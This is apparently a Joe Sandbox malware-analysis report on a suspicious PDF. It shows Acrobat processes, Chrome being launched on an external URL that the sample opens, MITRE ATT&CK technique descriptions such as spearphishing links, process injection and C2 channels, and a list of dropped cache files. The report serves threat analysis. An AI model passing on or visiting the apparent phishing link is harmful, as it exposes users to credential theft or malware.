Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:15:51
Start date:	16/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1508,i,12047917609770271542,12989106343411869346,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:16:14
Start date:	16/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://clintonmakes.com/215c/#mrzltabnxnf1v7h1hxqcxp"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	11:16:15
Start date:	16/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 --field-trial-handle=1908,i,8825835104048177361,13493979304147720564,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report shJGPJRkwH.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Errors

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\fac63316-e3da-47a4-a0bf-25e82d1aa1c3.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250116161556Z-245.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Windows Analysis Report
shJGPJRkwH.pdf